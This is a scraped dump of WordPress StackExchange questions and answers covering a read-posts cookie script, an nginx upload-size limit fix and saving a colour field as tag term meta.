wp_localize_script('cookie_read_posts', 'my_script_vars', array(\n 'postID' =&gt; $post-&gt;ID)\n );\n }\n}\nadd_action('get_header', 'wpse268423_enqueue_cookie_script');\n</code></pre>\n" } ]
2017/05/29
[ "https://wordpress.stackexchange.com/questions/268423", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120658/" ]
I am trying to add a read posts function to my Wordpress website. To achieve this, I create a cookie on which I store all the IDs of read posts. Every time a post is loaded, the following function is fired : ``` function readPosts() { if (is_single()){ $postId = get_the_id() . "/"; $cookie = empty($_COOKIE['readposts']) ? "/0/" : $_COOKIE['readposts']; if(strpos($cookie, ("/" . $postId)) === false){ $val = $cookie . $postId; setcookie('readposts', $val, time() + 3141592, "/"); } } } add_action('get_header', 'readposts'); ``` I tried using different hooks, such as `wp` , `init` or `template_redirect` but all are giving the same result. Instead of appending only the current post's ID to the cookie, it adds two IDs. The current post's ID and the ID of the post that was published just after the current post. Like if I was loading two different posts. But it only adds the ID of a more recent post if it's not already in the cookie and of course if there is a more recent post! Here's how the cookie looks like before loading a page : /0/221/46/ And after : /0/221/46/292/82/ I have no idea why this is happening. It looks like dark magic for me. If any of you have an idea, I'd be very grateful for your help! Thanks
I went the JavaScript way as @Mark Kaplun suggested and it works. There is no more duplicate. Here's my JS for those interested: ``` jQuery(document).ready(function($) { var name = "readposts="; var decodedCookie = decodeURIComponent(document.cookie); var ca = decodedCookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') { c = c.substring(1); } if (c.indexOf(name) == 0) { var cookie = c.substring(name.length, c.length); } } if(cookie == "") cookie = "/0/" + my_script_vars.postID + "/"; else if(cookie.indexOf("/" + my_script_vars.postID + "/") === -1) cookie += my_script_vars.postID + "/"; var d = new Date(); d.setTime(d.getTime() + (30*24*60*60*1000)); var expires = "expires="+ d.toUTCString(); document.cookie = "readposts=" + cookie + ";" + expires + ";path=/"; }); ``` And here's how I tell WP to load it, and make postID accessible from JS : ``` function wpse268423_enqueue_cookie_script(){ if (is_single()){ global $post; wp_enqueue_script('cookie_read_posts', get_template_directory_uri() . '/js/cookie_read_posts.js' ); wp_localize_script('cookie_read_posts', 'my_script_vars', array( 'postID' => $post->ID) ); } } add_action('get_header', 'wpse268423_enqueue_cookie_script'); ```
268,435
<p>I have the following settings in <code>php.ini</code>:</p> <pre><code>upload_max_filesize = 100M post_max_size = 100M max_execution_time = 300 </code></pre> <p>My <code>.htaccess</code> file is empty and there is no function about uploading file size.</p> <p>But still I can not upload file larger than 1MB. It gives HTTP error. (p.s. Page shows the maximum upload file size 100MB as I set, but not upload more than 1MB. Gives http error)</p> <p>What may be the issue and how can I resolve it?</p>
[ { "answer_id": 268460, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": -1, "selected": false, "text": "<p>Although you can change the php.ini file, and other settings, I just use the \"Upload Max File Size\" plugin (<a href=\"https://wordpress.org/plugins/upload-max-file-size/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/upload-max-file-size/</a> ). </p>\n\n<p>Even though it hasn't been updated for 2 years, it still works for me. (What changes would need to be done to this simple plugin anyhow?) You do have to enter the file size in bytes, so a bit of math involved to get the number you want.</p>\n\n<p>I suppose that I could dig into the plugin to see how it works, then manually change things. But it was much easier to use the plugin - it works fine for my purposes.</p>\n" }, { "answer_id": 310239, "author": "The Godfather", "author_id": 147931, "author_profile": "https://wordpress.stackexchange.com/users/147931", "pm_score": 2, "selected": false, "text": "<p>I had the very same problem. None of googled articles suggesting trivial solutions (like \"resize image\", \"wait a bit\") helped.</p>\n\n<p><strong>Symptoms</strong>: media uploading works perfectly, but only for some files (larger than 1Mb) the \"HTTP error\" occurs.</p>\n\n<p>But when I tried to check my web server logs, everything became clear in one second. I suppose you use nginx (as I do), so:</p>\n\n<ol>\n<li>Check nginx logs: <code>tail /var/log/nginx/error.log</code></li>\n<li>If you see errors like <code>10899 client intended to send too large body: 1198151 bytes, client: &lt;IP address&gt;, server: example.com, request: “POST /wp-admin/async-upload.php HTTP/1.1”, host: “example.com”, referrer: “http://example.com/wp-admin/post.php?post=&lt;post id&gt;&amp;action=edit”</code> than it's easy - your webserver is blocking requests larger than 1 Mb (nginx default)</li>\n<li>So modify your nginx config <code>sudo vi /etc/nginx/nginx.conf</code></li>\n<li>Insert <code>client_max_body_size 20M;</code> somewhere in the [http] section.</li>\n<li>Restart nginx <code>sudo /etc/init.d/nginx restart</code> or <code>sudo service nginx reload</code> </li>\n<li>Check your site and make sure it works (or at least there are no more nginx errors in the log)</li>\n</ol>\n\n<p>Reference: <a href=\"https://websistent.com/fix-client-intended-to-send-too-large-body-nginx-error/\" rel=\"nofollow noreferrer\">https://websistent.com/fix-client-intended-to-send-too-large-body-nginx-error/</a></p>\n" } ]
2017/05/29
[ "https://wordpress.stackexchange.com/questions/268435", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120666/" ]
I have the following settings in `php.ini`: ``` upload_max_filesize = 100M post_max_size = 100M max_execution_time = 300 ``` My `.htaccess` file is empty and there is no function about uploading file size. But still I can not upload file larger than 1MB. It gives HTTP error. (p.s. Page shows the maximum upload file size 100MB as I set, but not upload more than 1MB. Gives http error) What may be the issue and how can I resolve it?
I had the very same problem. None of googled articles suggesting trivial solutions (like "resize image", "wait a bit") helped. **Symptoms**: media uploading works perfectly, but only for some files (larger than 1Mb) the "HTTP error" occurs. But when I tried to check my web server logs, everything became clear in one second. I suppose you use nginx (as I do), so: 1. Check nginx logs: `tail /var/log/nginx/error.log` 2. If you see errors like `10899 client intended to send too large body: 1198151 bytes, client: <IP address>, server: example.com, request: “POST /wp-admin/async-upload.php HTTP/1.1”, host: “example.com”, referrer: “http://example.com/wp-admin/post.php?post=<post id>&action=edit”` than it's easy - your webserver is blocking requests larger than 1 Mb (nginx default) 3. So modify your nginx config `sudo vi /etc/nginx/nginx.conf` 4. Insert `client_max_body_size 20M;` somewhere in the [http] section. 5. Restart nginx `sudo /etc/init.d/nginx restart` or `sudo service nginx reload` 6. Check your site and make sure it works (or at least there are no more nginx errors in the log) Reference: <https://websistent.com/fix-client-intended-to-send-too-large-body-nginx-error/>
268,471
<p>This adds the field to the add new tag form</p> <pre><code>function tag_add_form_fields ( $taxonomy ){ ?&gt; &lt;div class="form-field term-colorpicker-wrap"&gt; &lt;label for="term-colorpicker"&gt;Category Color&lt;/label&gt; &lt;input type="color" name="_tag_color" value="#737373" class="colorpicker" id="term-colorpicker" /&gt; &lt;p&gt;This is the field description where you can tell the user how the color is used in the theme.&lt;/p&gt; &lt;/div&gt; &lt;?php } add_action('add_tag_form_fields','tag_add_form_fields'); </code></pre> <p>This adds the field to the edit tag form</p> <pre><code>function tag_edit_form_fields ( $term ) { $color = get_term_meta( $term-&gt;term_id, '_tag_color', true ); $color = ( ! empty( $color ) ) ? "#{$color}" : '#737373'; ?&gt; &lt;tr class="form-field term-colorpicker-wrap"&gt; &lt;th scope="row"&gt;&lt;label for="term-colorpicker"&gt;Severity Color: &lt;?php echo $color; ?&gt;&lt;/label&gt;&lt;/th&gt; &lt;td&gt; &lt;input type="color" name="_tag_color" value=" &lt;?php echo $color; ?&gt;" class="colorpicker" id="term-colorpicker" /&gt; &lt;p class="description"&gt;This is the field description where you can tell the user how the color is used in the theme.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;?php } add_action('edit_tag_form_fields','tag_edit_form_fields'); </code></pre> <p>This is the non-working part Saving and pulling data from the database</p> <pre><code>function save_termmeta_tag( $term_id ) { // Save term color if possible if( isset( $_POST['_tag_color'] ) &amp;&amp; ! empty( $_POST['_tag_color'] ) ) { update_term_meta( $term_id, '_tag_color', sanitize_hex_color_no_hash( $_POST['_tag_color'] ) ); } else { delete_term_meta( $term_id, '_tag_color' ); } } add_action( 'created_tag', 'save_termmeta_tag' ); add_action( 'edited_tag', 'save_termmeta_tag' ); </code></pre> <p>I guess action hooks are not correct.</p> <p>Just to mention, the code is originally from another posted question. I just tweaked it to fit my needs.</p> <p><a href="https://wordpress.stackexchange.com/questions/112866/adding-colorpicker-field-to-category">Adding Colorpicker Field To Category</a></p>
[ { "answer_id": 293850, "author": "Ben", "author_id": 118790, "author_profile": "https://wordpress.stackexchange.com/users/118790", "pm_score": 2, "selected": false, "text": "<p>For updating and saving use <code>add_action( 'edit_term', 'save_termmeta_tag' );</code></p>\n" }, { "answer_id": 339937, "author": "David Salcer", "author_id": 169650, "author_profile": "https://wordpress.stackexchange.com/users/169650", "pm_score": 1, "selected": false, "text": "<p>Actually I also wanted to use it now. Basically this is the only place in the internet to actually work for Tags.</p>\n\n<p>I have found some troubles with it, managed to edit it and it works for me now:</p>\n\n<ol>\n<li><p>Here you are saving also SPACE character to the value </p>\n\n<pre><code> &lt;input type=\"color\" name=\"_tag_color\" value=\" &lt;?php echo $color; ?&gt;\" \n</code></pre></li>\n</ol>\n\n<p>-> deleted space</p>\n\n<pre><code>&lt;input type=\"color\" name=\"_tag_color\" value=\" &lt;?php echo $color; ?&gt;\"\n</code></pre>\n\n<ol start=\"2\">\n<li><p>I have found out that even with the helping from Ben. The saving still do not works and somehow your default color is there..\nI found out by luck - but I do not now why, the sanitizing method is messing up this causing not to save it.</p>\n\n<p>sanitize_hex_color_no_hash()</p></li>\n</ol>\n\n<p>So basically If I removed it, it started to work normally. </p>\n\n<pre><code>function save_termmeta_tag( $term_id ) {\n\n // Save term color if possible\n if( isset( $_POST['_tag_color'] ) &amp;&amp; ! empty( $_POST['_tag_color'] ) ) {\n update_term_meta( $term_id, '_tag_color', $_POST['_tag_color'] );\n } else {\n delete_term_meta( $term_id, '_tag_color' );\n }\n\n}\n</code></pre>\n\n<p>SO no need for <code>add_action( 'edit_term', 'save_termmeta_tag' );</code></p>\n\n<p><strong>UPDATE</strong>\nLater I found out that if I sanitize it before putting it to another method, also helps</p>\n\n<pre><code> // Save term color if possible\nif( isset( $_POST['_tag_color'] ) &amp;&amp; ! empty( $_POST['_tag_color'] ) ) {\n $sanitized_color = sanitize_hex_color_no_hash($_POST['_tag_color']);\n update_term_meta( $term_id, '_tag_color', $sanitized_color );\n} else {\n delete_term_meta( $term_id, '_tag_color' );\n}\n</code></pre>\n" } ]
2017/05/29
[ "https://wordpress.stackexchange.com/questions/268471", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120690/" ]
This adds the field to the add new tag form ``` function tag_add_form_fields ( $taxonomy ){ ?> <div class="form-field term-colorpicker-wrap"> <label for="term-colorpicker">Category Color</label> <input type="color" name="_tag_color" value="#737373" class="colorpicker" id="term-colorpicker" /> <p>This is the field description where you can tell the user how the color is used in the theme.</p> </div> <?php } add_action('add_tag_form_fields','tag_add_form_fields'); ``` This adds the field to the edit tag form ``` function tag_edit_form_fields ( $term ) { $color = get_term_meta( $term->term_id, '_tag_color', true ); $color = ( ! empty( $color ) ) ? "#{$color}" : '#737373'; ?> <tr class="form-field term-colorpicker-wrap"> <th scope="row"><label for="term-colorpicker">Severity Color: <?php echo $color; ?></label></th> <td> <input type="color" name="_tag_color" value=" <?php echo $color; ?>" class="colorpicker" id="term-colorpicker" /> <p class="description">This is the field description where you can tell the user how the color is used in the theme.</p> </td> </tr> <?php } add_action('edit_tag_form_fields','tag_edit_form_fields'); ``` This is the non-working part Saving and pulling data from the database ``` function save_termmeta_tag( $term_id ) { // Save term color if possible if( isset( $_POST['_tag_color'] ) && ! empty( $_POST['_tag_color'] ) ) { update_term_meta( $term_id, '_tag_color', sanitize_hex_color_no_hash( $_POST['_tag_color'] ) ); } else { delete_term_meta( $term_id, '_tag_color' ); } } add_action( 'created_tag', 'save_termmeta_tag' ); add_action( 'edited_tag', 'save_termmeta_tag' ); ``` I guess action hooks are not correct. Just to mention, the code is originally from another posted question. I just tweaked it to fit my needs. [Adding Colorpicker Field To Category](https://wordpress.stackexchange.com/questions/112866/adding-colorpicker-field-to-category)
For updating and saving use `add_action( 'edit_term', 'save_termmeta_tag' );`